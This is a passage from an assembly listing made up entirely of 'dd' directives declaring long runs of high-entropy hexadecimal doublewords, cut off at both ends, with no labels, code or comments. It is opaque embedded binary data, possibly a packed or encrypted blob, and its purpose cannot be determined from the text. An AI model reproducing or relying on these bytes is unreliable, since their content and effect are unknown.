0D0A04031h, 0B3053508h, 318ABB44h, 3AFC36D4h, 45FFC326h dd 821C253h, 0F220EA7Ah, 51829D2Dh, 3776380Ch, 48E76850h dd 54C51F77h, 2D1AC65Bh, 0B36D4D95h, 0B10854A8h, 18553AE9h dd 52E0E059h, 0DFAAE197h, 8001021h, 931341E9h, 8B1624DDh dd 11DBEFB0h, 0D36427ADh, 0B8C90C38h, 880DEA25h, 0D6BB523Fh dd 9A42FA8h, 0E6C15AD6h, 886FE804h, 119DC54Fh, 0EA6C52C6h dd 9DC77A70h, 3DD17909h, 0BAB00216h, 0DCF6008Fh, 8817EC80h dd 0C059E9E2h, 0AC5F2828h, 90350D20h, 22B85DCEh, 0D2DF7493h dd 0E6503EF2h, 997A16B7h, 8F8A697Eh, 0C21613D4h, 0FF895B03h dd 0A0ED2004h, 544A31A8h dd 98A675C7h, 6E68125Dh, 8BB7A25Dh, 8007D35Bh, 3DDF4F49h dd 456499E9h, 0B2521CC7h, 1CC95C6h, 68C8BF0Fh, 376F5CCDh dd 141C0AD0h, 4E25EEB5h, 56740262h, 44210E42h, 71C4C43Ah dd 0E50E13FEh, 2D3B632Fh, 0EFBAE156h, 0C354407Eh, 48714655h dd 80BCEB0h, 80098D5Fh, 0B61388C7h, 76E92A1Bh, 0CBB7B48Fh dd 9A2A2DF2h, 0EF9C9EDEh, 25787F88h, 49E9E840h, 2A2EA994h dd 454EFC82h, 57DC6073h, 28B02C68h, 750C1033h, 30B78B32h dd 54F1B255h, 0AE62D96h, 45F94BFh, 0E63C3EBAh, 4E2CFC2Bh dd 0C5510387h, 0D043DF42h, 0C475D0F2h, 45D9870h, 906F43C2h dd 0CFC2C160h, 0E971EC7Dh, 36C45E4Eh, 5AB0D6C8h, 58693203h dd 0B4CF1112h, 5768E586h, 0F2CC97Ch, 6152DC0Ah, 6134F33Dh dd 0E2CDA0C8h, 7F692470h, 3CC13C43h, 0F0307824h, 30BF3437h dd 4DAF2875h, 26601699h, 0E7240740h, 47CF9005h, 24482030h dd 1F120F39h, 0AD03853h, 2F103078h, 0B90559F6h, 0D731520Bh dd 5E7FD85Ah, 0B2340079h, 8E2C06Eh, 7CF2800Fh, 9DCB9FFEh dd 854CF378h, 986C7368h, 369D0277h, 0CE5C4F19h, 919A44A7h dd 0A0DD7A5Ch, 0B5278668h, 659C1519h, 0C688ACBFh, 54066850h dd 0FF93AC6Ah, 20502F53h, 4BC0E6E0h, 672D468h, 6E49805h dd 716631CAh, 56090C0Fh, 102B954h, 4F8D7A09h, 8B2E1A6Ah dd 70AE000h, 43605D9Dh, 0FD492F0Eh, 1D86BEEEh, 0BA68B0E1h dd 0B4303C7Ah, 0C38A484Ch, 0CCB3584Bh, 0C9715A25h, 0F830E942h dd 5700B7A2h, 4429157Fh, 7650F4EDh, 9D82A191h, 0FC105866h dd 0B5FB8DF9h, 0CF456C70h, 0CD4F85EEh, 12F19540h, 0FB40100Ch dd 4A2D63EEh, 88C5F672h, 0E5680514h, 0B3A74469h, 92C8ADC0h dd 60CCDDA0h, 0D0ED65B6h, 0DF3BCE8Eh, 0A5527D1h, 0E501CB39h dd 40E8092Ch, 41D4CDD9h, 56DB8D3h, 0CBEFBC5h, 7B87008Eh dd 1603C75h, 45E5E97Eh, 0D1BF0908h, 2513A622h, 8145B466h dd 0F5E6B7AFh, 562521ACh, 0B3D190BEh, 272C9249h, 13C612EDh dd 8021B701h, 72E9C4EFh, 0DC5CB128h, 3B32ECD0h, 0A984490Ah dd 165CA831h, 0BC00C889h, 9E370CEDh, 0C5013404h, 58080B82h dd 0E98697C5h, 0C503C11h, 63B10566h, 7C780208h, 7E852D1Fh dd 2F02909h, 4ED200h, 0C680D6F6h, 0EE248373h, 0DD3C6BC2h dd 4331217h, 29897BE8h, 0B4440056h, 1AEB8001h, 0D202E66h dd 49D36802h, 2584C26Ch, 9949F6D5h, 0C42CF38Ch, 2B438D4Ah dd 2A89AE29h, 0E20F791h, 9B7BA9E2h, 5857748h, 0BA6CAF5Bh dd 36C5921Ch, 0A0033ED2h, 0E9DA19F4h, 1A04D501h, 14091C08h dd 23252A65h, 17E9C1EEh, 332580D2h, 0A0068101h, 2D507D58h dd 0F003A2AFh, 0B1510F0Fh, 2B0053FBh, 0B050DBF6h, 362C0202h dd 5703E8C0h, 0BBE95598h, 81C8524Eh, 0A5CA8283h, 0EB08DECh dd 0FCC18F4Ah, 0D8C8D0F6h, 74A17D2Ch, 34FB3E44h, 0AC58897h dd 8CC8EB82h, 5E6B62E9h, 0B60F82B0h, 89436F2Ah, 0C1806006h dd 0F70312E5h, 4AA301DDh, 13C176Ch, 60EC08F8h, 5ED0BC1h dd 0F42236E9h, 0C966505Eh, 4502E898h, 0E933D944h, 12FC5E2Bh dd 0BC0C035Ah, 46DFC328h, 0E5052D68h, 48C965ADh, 27D14A80h dd 0C13C0C90h, 1A9602E3h, 76A2E6BAh, 3DA7093h, 624E91A7h dd 0FF79D008h, 0D748C625h, 2180E007h, 0BCCCD05Ah, 4D36B009h dd 0F443E3B9h, 4A426689h, 0B37E6E82h, 0D229E40Bh, 0E970386Eh dd 8387CB4Ah, 376356h, 3A669CBEh, 5EF3096Eh, 4C79C15Ch dd 82F920DEh, 6E8DD6DAh, 0D2EF0413h, 685F02B8h, 0C07AD45Dh dd 19491B03h, 0E35380BDh, 5E8C53C4h, 28F5C110h, 0CF81206Fh dd 3912680Ch, 13EF0C70h, 0FD3D6C66h, 38270522h, 0E8851E74h dd 0D4008BECh, 316C6916h, 19BE5FFBh, 0D9CE003Eh, 503CDA63h dd 6BFF3E68h, 58C5FC24h, 0C5B3C629h, 0ECF1210Ch, 240B72E9h dd 53E73E59h, 5E2D0748h, 560809h, 8C657C02h, 0DE893FB2h dd 5F3F2318h, 22975DEAh, 5BCB6130h, 0C8579225h, 3240BFC6h dd 0F65903B5h, 1CF580DDh, 1E89063Bh, 0CD40E5C5h, 8EDC040h dd 0F4D575F6h, 52660502h, 99186AE9h, 8E1F2AF7h, 7C024709h dd 3B425148h, 0C5B320Eh, 95199EF0h, 8604E801h, 0AB68F066h dd 262F7562h, 395E094Ah, 0B06EB02h, 198D805h, 277B239h dd 2E5A54E9h, 2D40FB20h, 692A1F07h, 0E852923Ah, 2C195616h dd 1B126651h, 955F168Ch, 3EB4FD6Ch, 2DFB4CA5h, 6E6559CFh dd 3173C525h, 70565547h, 7C822713h, 0B1EF880Bh, 2989F125h dd 275A2554h, 6BE0E917h, 183FE037h, 43CFC88h, 55E920D9h dd 9928EA73h, 54024EC6h, 3C22C811h, 9B85C74Eh, 63832BDh dd 245DC9DEh, 0C63F0325h, 331D1348h, 0BD3C468Ch, 0C65CB21Ch dd 0BE5620E6h, 8C5C99Ch, 31343319h, 0E90D06B1h, 0AD342A78h dd 8DF060C4h, 0F7609BBh, 16503F4Bh, 6F58101h, 4563D866h dd 6E81A6Fh, 0F005FC04h, 0E1488933h, 0FB0F1345h, 44CB3C53h dd 25E7011h, 17DF9EEh, 20D5726Ch, 39572B9h, 31D3A91h, 2268C62Bh dd 0F6B120D0h, 272E9866h, 2DD88A42h, 6D400FFCh, 0C1C521E9h dd 85FCEB87h, 67CB4BCFh, 3002C858h, 0B55159EFh, 16686114h dd 7C86366Dh, 0DD34AD6Dh, 0CEAD32B0h, 6A4449DFh, 593A3A4Ch dd 0D0C1C4D3h, 0E6106C39h, 0CDFE125Ah, 19E2ED17h, 8A222833h dd 3A3F2913h, 5C853837h, 4050C8D2h, 0C64F43Ch, 0F6B825B0h dd 0F290290Bh, 579F0497h, 924B3FA6h, 0D0F00AF3h, 0AA595576h dd 0EA201641h, 0C2803A61h, 291F9638h, 2C598728h, 66D05091h dd 2FE78168h, 0E0B245D3h, 0B17010E9h, 0E102389Bh, 0DA89A118h dd 769EEF4Ch, 4D72D501h, 0A3A426Ah, 93F1366Fh, 2B0F9D50h dd 66574144h, 0E8C15D00h, 0C8723110h, 0C361D874h, 5B525308h dd 0D614A37Dh, 2A3B6FF6h, 566BCCCBh, 0EE5A899Ch, 0B34428Ch dd 24DAE953h, 2F8059DDh, 2FC62FF7h, 0A1880177h, 11B12708h dd 2126B34h, 7ED88E00h, 905B75F7h, 0A2729885h, 0C2EF7485h dd 0E0C522ADh, 0B9617027h, 3F494B85h, 10592909h, 0BE03AF93h dd 3C2379CAh, 58E951D2h, 2B4D215Dh, 97035C15h, 0BCBC5634h dd 0E21D29A5h, 87C77051h, 0A314EEFBh, 2168D180h, 0A57D983Ah dd 350A3F05h, 0D14AF2E9h, 1625A15Eh, 0D7E916A9h, 173E4148h dd 0E98BB151h, 668F34A6h, 6F73136h, 0ED35EF7Eh, 0D4C20804h dd 1CE45AAFh, 0ED6E94B8h, 1C5A28Bh, 83A5E2ADh, 4F0B7CF0h dd 0F81C127Ah, 0B301D615h, 0B268E2D1h, 868B353Ah, 0E92E036Dh dd 83C90DE4h, 194F03B4h, 26AEC2CFh, 309C7121h, 543B4554h dd 4E824829h, 12CAB300h, 90372B3Dh, 609D1793h, 0D31509E6h dd 0BFF8D90Bh, 4CC434BFh, 9AB24953h, 722C937Ch, 58A9F25Bh dd 67FDB183h, 1DC5DB88h, 75C75F92h, 2DAD34E5h, 959524D2h dd 8CDF84EFh, 84970BEFh, 86C8F6E6h, 75425DDFh, 6D302B51h dd 0EF2D803Dh, 0F0432C25h, 0C0564F89h, 36855B43h, 3BABBE3Fh dd 0EE318FC5h, 9884F35Dh, 0C1D6A107h, 0F2C007A5h, 76821997h dd 7810F239h, 5CA596Dh, 72475B27h, 95AC66A7h, 2B2C9DC7h dd 5612CACBh, 2E0359D0h, 87DA2244h, 6CB403BBh, 0F597F442h dd 5B7FE88Eh, 4160EA98h, 0D3A2584Bh, 0A508EE91h, 2BE82DADh dd 67305C0Fh, 1BC2EC28h, 81175135h, 0B37B852Ah, 0B6715B45h dd 0F1233E74h, 0A497503Ch, 7C1CA6E5h, 683D1850h, 0BCF17D8Bh dd 2EE2309h, 0BCE9FA01h, 461E7AAh, 80951EB1h, 2E99F2B4h dd 89C3CB02h dd 40295AD6h, 0F64F057Dh, 2851B065h, 0A5072DD8h, 4F18A738h dd 8DC422E9h, 93F973BEh, 346AC913h, 3828EE30h, 8071F6E9h dd 5F00FE31h, 1E08ED81h, 512959DFh, 803DDF5h, 5DEFC95Eh dd 4EE956D0h, 6C46F1B7h, 6874B290h, 78EAC1A6h, 25D33007h dd 35BDC9FFh, 7F3D203Bh, 0BE4DBF1Ch, 0BA0242A6h, 58CCFCC3h dd 1708266Bh, 0E3F7017Dh, 0D86ACF6Dh, 611893E7h, 0BE185734h dd 71361F1Ah, 344B16E9h, 5614C24Ah, 68EFA7D6h, 7B429C02h dd 0BD0098AFh, 0BE054F35h, 0C3897D15h, 0FD61D7E3h, 3284F091h dd 0B03BF380h, 0D1BC32DBh, 0ECD0F60Eh, 5E31896Dh, 93B91B4Ch dd 28E94F08h, 0FEF93E45h, 2F2C2460h, 701EA6ABh, 67623BE9h dd 0A2AC350Bh, 0C008E8A8h, 296850EDh, 97BB3802h, 8C235358h dd 0E916541Eh, 0C68A09B5h, 95401C51h, 762B49D0h, 5314950Ch dd 46EDC080h, 0F9D010Eh, 1270DFC1h, 26AC7210h, 1053516Ch dd 8EB8006Ah, 35153648h, 723B12DAh, 4048EC2Dh, 2FF7B2B7h dd 209F835h, 34565Eh, 3ACB0A0Eh, 99538E9h, 0E9B85974h dd 0E97FF396h, 69CE3D5Eh, 96619B40h, 168950E1h, 6AE0C180h dd 0C510606h, 7F216E2Ch, 0B780AB5Fh, 274FD668h, 751A101Bh dd 0EDE27E82h, 0D94B5374h, 8733494Bh, 97BB5220h, 46DEC742h dd 0D6261289h, 7C22AD0Bh, 74D26A30h, 6DF57220h, 6095CA5Ch dd 41125A88h, 96E929CFh, 7130F100h, 0D1F746D2h, 8BA310C1h dd 65381E10h, 0BED4945Bh, 0A0906434h, 7268E1F7h, 58329D79h dd 64C8C156h, 2558BD89h, 978EC370h, 6759AD17h, 0DE78921Ah dd 0E85D2055h, 0DF3F4357h, 0C1F9893Bh, 0EED3DAA4h, 0EAA0E839h dd 1FD40B6h, 3818F748h, 26358B79h, 805E424Dh, 0C36E5F49h dd 5CE9271Eh, 2D423E5Bh, 0A2205713h, 7B73DDF7h, 9720697Ch dd 0EBD126E0h, 2201143Fh, 4167C302h, 2C746934h, 5F0308A0h dd 0E3C1D3F7h, 0F2340108h, 0E978A1F5h, 8F835096h, 0FDF14047h dd 545E8CAAh, 1FE5C05Ah, 492BD15Eh, 0DF25F58h, 754E1830h dd 180223E5h, 5A567E2Ch, 0CE003C13h, 0EAE2BE60h, 55E99745h dd 0F8C18A26h, 4E489C4Bh, 0D9B65202h, 3542CEFEh, 5F4C1BF8h dd 0C8114836h, 0E95E0534h, 317FF06Ah, 72334CCEh, 32A65489h dd 0A9F30875h, 80596600h, 7C2852C1h, 0C7E67ED9h, 0B04A5A18h dd 565707E2h, 76106802h, 705E3F9Dh, 89654C38h, 0C0033959h dd 0F789B420h, 0C1D721FFh, 30F7FFE7h, 15527DBFh, 10DCD1A0h dd 0C714530h, 166E3284h, 0FA3118h, 0A8AE253h, 53027FB2h dd 0EA29E0BBh, 0FF904312h, 0E93462C0h, 0DF265CD5h, 9415AAD4h dd 0F53BB35Bh, 0B41EBD01h, 405DEA21h, 0EFDE7CB5h, 0EA9701E4h dd 0BD9750E5h, 0D94EB334h, 5FACD90Bh, 311C800Dh, 4205D89Ch dd 3A247F04h, 8C05755h, 171D3D96h, 8AD78906h, 0EEE90938h dd 0A1962EE8h, 0C088A02Ch, 0D2F4F1ECh, 0E07BA416h, 173D23B6h dd 948D2877h, 5B233542h, 6D688490h, 70F08D53h, 161984E4h dd 68891C0Ch, 878B29F9h, 0AF56AA07h, 8561EB52h, 0A82D00F2h dd 9F833E64h, 194541B8h, 60B6E1FCh, 0F7EE8703h, 810801D5h dd 71060EF6h, 7FDEE91Ch, 5880E01Eh, 0E92C3001h, 0F45E4AC7h dd 5A44B17Ah, 157D0CC3h, 0B20C0DFDh, 2895905h, 85B0E3D1h dd 7F93060h, 0B14FAC1Ch, 0DF093505h, 0DBD46FE9h, 4B7B10B3h dd 757A1640h, 0E47C87D0h, 0B856D0EBh, 594C0C2Dh, 88A3253Eh dd 812C5B0h, 6C0A7B0Fh, 0FB89F7Eh, 5389367Dh, 0D40C48E4h dd 0F15EAE5Ah, 0CE094C89h, 4216D396h, 519E681Eh, 82839359h dd 53F0936h, 0F119B3CEh, 0D304AA75h, 5000CE4Eh, 0D273E2B8h dd 4766548h, 4FB54ACCh, 1D4368F1h, 0FFBFA3F5h, 548EC697h dd 9FB44108h, 1D9C1613h, 1E34E9C5h, 0E705FB4Ah, 0D8857AB0h dd 0C1295A1Dh, 3D1189BDh, 617825ABh, 5B230575h, 4B7ABA7Dh dd 5F350357h, 0F4E25052h, 0FF608D4Ah, 409AFAF9h, 0FFC0CFF8h dd 0EF81D701h, 0D9481655h, 0E943D861h, 0EBA4C15Ah, 36AFBFE8h dd 0A9B01D66h, 7E1EBBECh, 0DCD37C38h, 355B0CC0h, 9F11040Dh dd 88C22919h, 0AE522A8Ch, 583E009Fh, 592D1E4Eh, 13C92630h dd 3709275Fh, 5215CF01h, 0F5313094h, 0FB7FC809h, 3C6566Ah dd 149D1036h, 0B7740C04h, 3BC5FF1Eh, 0AC589C8Bh, 1A539A04h dd 190ABF3Ah, 5E94A208h, 6DEC9314h, 0D06CF477h, 5A251A08h dd 0E9848047h, 59F448F0h, 0A26D4E25h, 89550F37h, 0C94166C5h dd 9F4895CEh, 0BD301FF4h, 583F0C61h, 0E4B5096h, 91AEAE8h dd 5EF5010Ah, 0C05FD36Ch, 86686802h, 20A4CC30h, 496382Eh dd 0EE4E0DA8h, 802B9A8Dh, 64C66811h, 0BA63E99h, 0CE09B41Fh dd 6E8A0847h, 3EEC161h, 0FC8EE730h, 0EF75F06h, 2FB8894Ah dd 9D39E9h, 172BBF47h, 97B17F0h, 0ECB108F8h, 35C28007h dd 818AF233h, 14205AD4h, 50269A0Fh, 14ACB344h, 0A64B4071h dd 68741820h, 33B2764Bh, 4FE7BCD2h, 0F45ACDB2h, 66413678h dd 0A92B412Bh, 2174E673h, 1B2D3F06h, 35B2CD2Ah, 983D3BACh dd 68098C39h, 3FC50FDh, 0A910B4C8h, 0E117DA4Ch, 0F8C7452Eh dd 59CFC252h, 6CD8001h, 0E09FF5CCh, 8F6F6EEh, 628FE9D6h dd 42CE8100h, 9047DE72h, 43961789h, 0D0AF0495h, 792BC148h dd 3158F845h, 7730C85Bh, 9C07D1E9h, 0E16E9295h, 251173D2h dd 6512624Bh, 92ECA770h, 1D8B489Fh, 7D4C9D30h, 2F498B90h dd 58F28937h, 69B2EAABh, 0E5D00AA5h, 1F77F438h, 0CC4B58E2h dd 9E1F7946h, 4C9760FEh, 2F52480Fh, 0B5164C07h, 11CBD077h dd 3976F82Ch, 138CF348h, 82000C7Ch, 9840C04Ch, 7FDA4C89h dd 4BCBD84h, 5AB2966h, 87B70F5Dh, 8825840Dh, 0D41E5CAh dd 23130h, 0F71BA660h, 5EFC1DFh, 0AA0B7998h, 8716BC3Ch dd 0E09F477Ch, 0F9D131Ah, 5FFB1689h, 0E96F054Bh, 0ED8452AEh dd 57A693C7h, 5760B74Fh, 670516E1h, 0DA3072A5h, 2F6D9470h dd 76FA3F4Eh, 0EF8C6995h, 0E97F743Ah, 5EA9D289h, 0C6E2BD92h dd 70FA5E9h, 0CF09D2Dh, 473FA34Eh, 98F97B2Dh, 90C801B0h dd 0F4E04E2Bh, 0CFE11C10h, 0DE590BD2h, 71696303h, 1E15D999h dd 24163003h, 0D6E853BEh, 14CCC4h, 63685152h, 2B9F3E05h dd 8F95F324h, 7185DEB8h, 588F8229h, 22673257h, 3BAE1F3h dd 3A20F909h, 0ADC8B52Ch, 1ED6A471h, 0F851918Ch, 25BB4E4Fh dd 6418CF08h, 0D9875C65h, 1EE9C721h, 382E9825h, 96B272E5h dd 25D35E4Fh, 7C5ADA57h, 2FD927ACh, 0C83AD346h, 5E811DA8h dd 535DE821h, 0DEAAA688h, 772D5B00h, 27901852h, 775AC781h dd 489D8098h, 0B7C5E983h, 0D828C602h, 0B5952C2h, 52B75380h dd 0B3061B2h, 0A4E95BFAh, 5D5AA0F0h, 0B2012A9Dh, 0EBC179B5h dd 1AA88E6Ah, 653CA640h, 0A85F920Ah, 49B2A685h, 0FF985202h dd 15994AE9h, 24A39D08h, 0F13233D0h, 0AD6DF2C8h, 87CB8937h dd 6FFC60D3h, 0B7045827h, 5E65EE3Eh, 0AE296581h, 6EFF8305h dd 3C1F5CC1h, 9884C066h, 2F053459h, 0F500683h, 72DF828h dd 2CFE78AAh, 3E0502Fh, 235C71F0h, 45EBC1BBh, 0FCD4318Ah dd 5E0EE303h, 604BDA9Dh, 412BFC5h, 0F74116D6h, 1F11ECD9h dd 39D080Ch, 9A4C981h, 0E720317Fh, 77ED983Ah, 1E2BC23h dd 573D0AEBh, 4A176E3Bh, 0D9F87A62h, 2EED4BE2h, 20FDA616h dd 0DA66D325h, 6AC32930h, 9A7F343Eh, 0A49979Eh, 18042E58h dd 5B0FA2D7h, 52E2CDEFh, 0B0E10A80h, 7AC2D8DEh, 9E9C0A0h dd 919490BDh, 0CCA9DA63h dd 477F117Dh, 68A29C6Fh, 32F260Ah, 0F0494C6Bh, 1C1217BBh dd 0EA6C0180h, 25AF1379h, 8F5644Fh, 60492509h, 2DC85A4Dh dd 2564F8F1h, 436794F0h, 1AF4DD87h, 0D55B0F92h, 0CE80DD01h dd 89B0CF81h, 5B8F028h, 440DF6Bh, 0BBB50F3Bh, 0AB0CA979h dd 65586433h, 56520B97h, 0EFB6D0CCh, 98506495h, 14B095Bh dd 20006D10h, 0B2DE78D5h, 64E9C7A0h, 80C51C4Ch, 17337C06h dd 12F15C09h, 1EA4202Ah, 154077FFh, 680BC611h, 79B0705Ah dd 0FE7B05D3h, 3B01E7A1h, 2039B721h, 582BCB56h, 0AD92B254h dd 9E8F28FBh, 66585225h, 9C11EEECh, 0A1D68816h, 167D82A7h dd 0A466064Fh, 94103A2Fh, 0D6DAF9DBh, 0AA66685Eh, 0A2319D4Ah dd 808DBD52h, 3A78B8F2h, 60E2C14Eh, 0AB1A1203h, 0C998076Ch dd 0A679C901h, 168EE913h, 0ADD30F6Dh, 925DC940h, 13C5D864h dd 5F526ABh, 4006AF78h, 34026892h, 5F012173h, 13A4CF81h dd 0E9401242h, 4F562F14h, 0E470101Dh, 38300D04h, 5B32C22Ah dd 0E91A02D5h, 0DB1D4B95h, 4CFDEBEFh, 121E608h, 1421A209h dd 0BB7F9014h, 0AB912F1Ch, 8A163A9Ah, 29AE30C5h, 0DE244233h dd 9E0003C3h, 0D2F702E2h, 9C2FB668h, 88484Ah, 690856EBh dd 0E92DEDD1h, 0F92609CAh, 7FC546CDh, 662D585Eh, 68B6422Eh dd 0FAE619B5h, 8A162C1h, 0E9D87B07h, 90CA5A5Fh, 62097FC4h dd 0CF016F0Bh, 15DD0456h, 2AE331AEh, 0F15E02B4h, 0D1D965D8h dd 0DF535507h, 6B11A1F4h, 0BF02FEDAh, 3E2E21F0h, 63D520C1h dd 50ACD649h, 0D508E9C4h, 0F762EA0Ah, 1F044F3h, 8C1FA7EFh dd 6CFB0135h, 0C04284FEh, 0E4D9FF2h, 68E5B750h, 4CAD3D7h dd 80DAF706h, 48671F61h, 82C0554Ah, 0BD8AAC2h, 0D72901E6h dd 0BE26F704h, 3ADA1F29h, 35D45FC2h, 69B8C181h, 0C9D4128h dd 825893F0h, 209E085h, 325C761h, 2604D129h, 59EC267Bh dd 688FEEA2h, 0D65BA833h, 1054A30Dh, 2E2DED60h, 2FFCA9FAh dd 475FB0E8h, 87428082h, 2B369269h, 0B02DD531h, 0EB10B322h dd 0D5092619h, 7CEEFE98h, 17DC6BDDh, 58A25E7Ah, 42814A5Fh dd 82CBAF70h, 6E72005Eh, 0C5C32780h, 0B14E1E71h, 0C39F4477h dd 1DE56E09h, 39F60030h, 9E2EB81Ah, 0DA220A5h, 3C4441E0h dd 46E9E112h, 17820C08h, 0BB8C2F40h, 20CB66BDh, 3507389Ch dd 3EB310BEh, 0A61CFA50h, 99014F36h, 1C8A2FC5h, 4C07A35Bh dd 0C0D11340h, 8B9EA0FDh, 6C712E74h, 880DB082h, 389A75C5h dd 2BA92061h, 0C9ED7734h, 9876F297h, 9AB169BFh, 0BCF24C1Ah dd 2CC8FE2Dh, 2B7A6B36h, 0EE402426h, 10156867h, 0C154214Ah dd 8702E310h, 8EAC1CAh, 878E914Ah, 127D0C00h, 5502D22Dh dd 0D0013982h, 0AF078C05h, 9690AA5Ah, 5EEE9015h, 895E8805h dd 0C5F3E64Bh, 53D612D2h, 0B01A825h, 0DE5258E5h, 0ABE94231h dd 0EA801BE8h, 11C8B44Eh, 0E5D03439h, 16FC0A04h, 0A2C96FB7h dd 280E9276h, 0CCBABCEBh, 89742DE2h, 2DEB4CF6h, 38E4DD64h dd 47C2BA04h, 14EC2246h, 35DAA10h, 1274C05h, 0D0B3D23Bh dd 0EBC12D1Ah, 0F7179770h, 0DDBC6E2Bh, 3E11DD04h, 9304FA38h dd 0B2000E8Fh, 9DCA802Dh, 1C83C8C8h, 5AD00228h, 79E15E2Ch dd 51BD3004h, 1756E915h, 34DF26A5h, 0A7204216h, 635E52C8h dd 69B66A73h, 7CBB79C0h, 0A963B19h, 0EBCD5874h, 0EEB4636Eh dd 533F5AC0h, 0C6DE0128h, 565B0880h, 12644E97h, 4C1385Ch dd 0E19DA1C5h, 0B38A3AFCh, 4590277Fh, 514C3BEEh, 0DAA15B2Ah dd 0B25E5BC6h, 0E9A14139h, 6F5D5E55h, 0CD564223h, 7D7C118Bh dd 973EB650h, 80ECC095h, 300AECEDh, 0F3D059EBh, 702976B7h dd 27879F2Bh, 4B50CB2Ch, 0CACDD94Eh, 525DCB7Ah, 0A8A897B4h dd 9391A34Ah, 2942F4E1h, 44C920ECh, 3E3EB520h, 27033FC1h dd 681A07B1h, 2B2524CAh, 0F7C64294h, 775A933Bh, 4C36ECA0h dd 9712AB5Ah, 804AEDADh, 4CBD7FF1h, 50EB0081h, 0E96AA238h dd 0EEB51644h, 4D9F9A02h, 2A7517D2h, 7F269CBAh, 0E6DA1F2Dh dd 1AFA4C10h, 4875BE34h, 0B932B00Ch, 5B310B4Ch, 331844F1h dd 0A507AC20h, 57915D90h, 216B025Fh, 605CE9C6h, 0C3CDA075h dd 5B3F1A3Dh, 12001998h, 1328E8AEh, 0CACB2934h, 859080Bh dd 0BFC0CFEDh, 5A223BC2h, 0E9B6C01Bh, 0C8C3BE34h, 7AD3F74Bh dd 80AC5B04h, 8899B71Ch, 535BF82Eh, 11C6260Bh, 9F403834h dd 4C856591h, 0A5E2AC7Bh, 0C72C3FE4h, 262ABB02h, 3D2F507Eh dd 0F4A3DAB9h, 712F1638h, 2F10B831h, 5683892Dh, 1414593Fh dd 0F784AEBCh, 5FF0139Bh, 9FD9A607h, 2D8D0900h, 0E0A402E8h dd 19BFAAE8h, 1E380130h, 56653025h, 91C96889h, 0B8FA0CF6h dd 5C01B274h, 9D900F88h, 0E61E4136h, 6697167Ah, 339F1C42h dd 0F6806D2Dh, 1B697B08h, 0F29172Fh, 0C6C8AC3h, 2ADC5E47h dd 19681204h, 1889CD5Ch, 6FF00C26h, 5C011211h, 0E90C0C90h dd 86D54CCFh, 53610F54h, 48FD17F2h, 47381055h, 0F681830Fh dd 90DA1988h, 0B1AF0AE9h, 7C2FBCB0h, 21595101h, 6AA8E1E8h dd 8229CD09h, 0A0E26CF6h, 0B606B0F8h, 6620E1B4h, 2F21412Ah dd 0CDCBBCD1h, 20E3830h, 0E907E3C0h, 94755442h, 5DE59087h dd 2B5875E2h, 0B2271658h, 4154064Ah, 98BFF0B8h, 82E80ABCh dd 9FD40F42h, 95F32158h, 0DB098118h, 95850F0Bh, 8BC554A5h dd 3CDEFDC2h, 11C70D4Fh, 0B345602Eh, 3E4E657Bh, 89552BC2h dd 5986A190h, 0C37BD828h, 0D9E7CAFDh, 0DD51A42Bh, 54EB1149h dd 0AF85C728h, 0B6D7304Eh, 4AC351C6h, 48DD88ADh, 5F20E5D3h dd 0CC968170h, 685A5881h, 0DD6B5EBAh, 0E7E10889h, 0E01D4A67h dd 0D4F25F72h, 6E03CBB5h, 5B00280Bh, 1E03A7C6h, 63C14E01h dd 0D9FC9EEEh, 0EDC0341Eh, 75E6FE14h, 6028B52Dh, 9FD88C7h dd 5C68D5F6h, 7159E852h, 0D8B20F59h, 5A66C020h, 9EE8C580h dd 9DD02F5Eh, 0D6A1C0B5h, 0E9BB1AB7h, 0E30769A3h, 5362855Bh dd 20F287C2h, 4E8C3034h, 5E2D5802h, 5C7FE00Ch, 4F072075h dd 0F76E215Bh, 0D31F21D1h, 50E35500h, 1A63BF57h, 4C6D7C96h dd 0E07B70D7h, 211705ABh, 81D15BDFh, 0C11CEF6Dh, 2F756152h dd 0B5CB8E21h, 39E09E54h, 5D9967ABh, 0E07DF5C2h, 0DD48F761h dd 7FCC208Dh, 5DEF275Ah, 0DEE41E78h, 2C7943DEh, 0A117C0F7h dd 0C65B0A4Bh, 5B1CF865h, 0F4F574D0h, 0B85FCD44h, 9BDBC344h dd 2A5289A3h, 0D13B0817h, 85CBA595h, 0BAB55179h, 99EDF3C5h dd 9638CF94h, 0D696E14Eh, 0FE1002E8h, 0A0505880h, 81159F2Ch dd 42017E57h, 691C6D32h, 9C6596F5h, 0B0688340h, 475F3E0Ch dd 0F3395F72h, 76F4D6D7h, 5F1040DBh, 41558BA1h, 2ACEB475h dd 3F78AACCh, 825B1A57h, 94F7051Bh, 2A1CA264h, 981207CCh dd 0B12818A1h, 0E8793488h, 84D8BFA5h, 40180509h, 515A7066h dd 673108EEh, 0BFF563C4h, 486F54C0h, 8339A104h, 968201C2h dd 795E07F6h, 0BD552802h, 0EF4055FCh, 60A55C3Fh, 246A0C56h dd 7DB8134Bh, 0AD220A64h, 4C4E5180h, 29700B6Dh, 0ED305FF8h dd 0AF94B5E9h, 2FA6782Dh, 3B79D930h, 11C18061h, 13A92130h dd 61C2BEE9h, 9DE70DEAh, 3A00800Eh, 0B450CFFEh, 0CCF030h dd 7ECC092h, 4FE9DCF6h, 0DA5524Ah, 7BA1E0DCh, 0A0315AF5h dd 758E6FDh, 2736011Fh, 0F0898206h, 0E9C3F884h, 0F55197F9h dd 2210EE54h, 2C4213F3h, 0F2A182DDh, 43D22791h, 0C209C54Fh dd 0A64C5B87h, 0D46844C2h, 7858FCBCh, 5C16EA4Dh, 0C1C31C6Dh dd 0F882326h, 4FC1A8CCh dd 0FE2A0563h, 0CE713C7h, 316FDDE2h, 6EE27C5Ah, 5885F7Ch dd 0D0015FC5h, 267B2CBAh, 4659652Dh, 13E916DBh, 0EE5A449Eh dd 897DF25Dh, 0A8B48C5Ch, 1400BD7Eh, 0DA28B4B3h, 13815B4Bh dd 0A231EC86h, 0E4800880h, 0F1C9E9E5h, 20556C5h, 214835FAh dd 3C42759h, 6821B256h, 137CB94Eh, 1263AD2Ah, 1A700080h dd 318E41BCh, 0DEA78897h, 17FD871Ch, 9540EFE9h, 357DFDBEh dd 0EE2DBD40h, 0C8116A0Ch, 85E9853Fh, 0E82746FBh, 38B7165Dh dd 0D264E92Eh, 4A9FB391h, 0F9EFAE40h, 0A2D21AE0h, 5FB725F8h dd 5D78CADCh, 96805771h, 810B5D05h, 5972C201h, 0DAE96E6Fh dd 0DE5F4F74h, 0A1BF5263h, 96DCF859h, 0E6130ADCh, 803E17CBh dd 0E846152Fh, 55113441h, 926F43E9h, 13D51CD7h, 60E29A47h dd 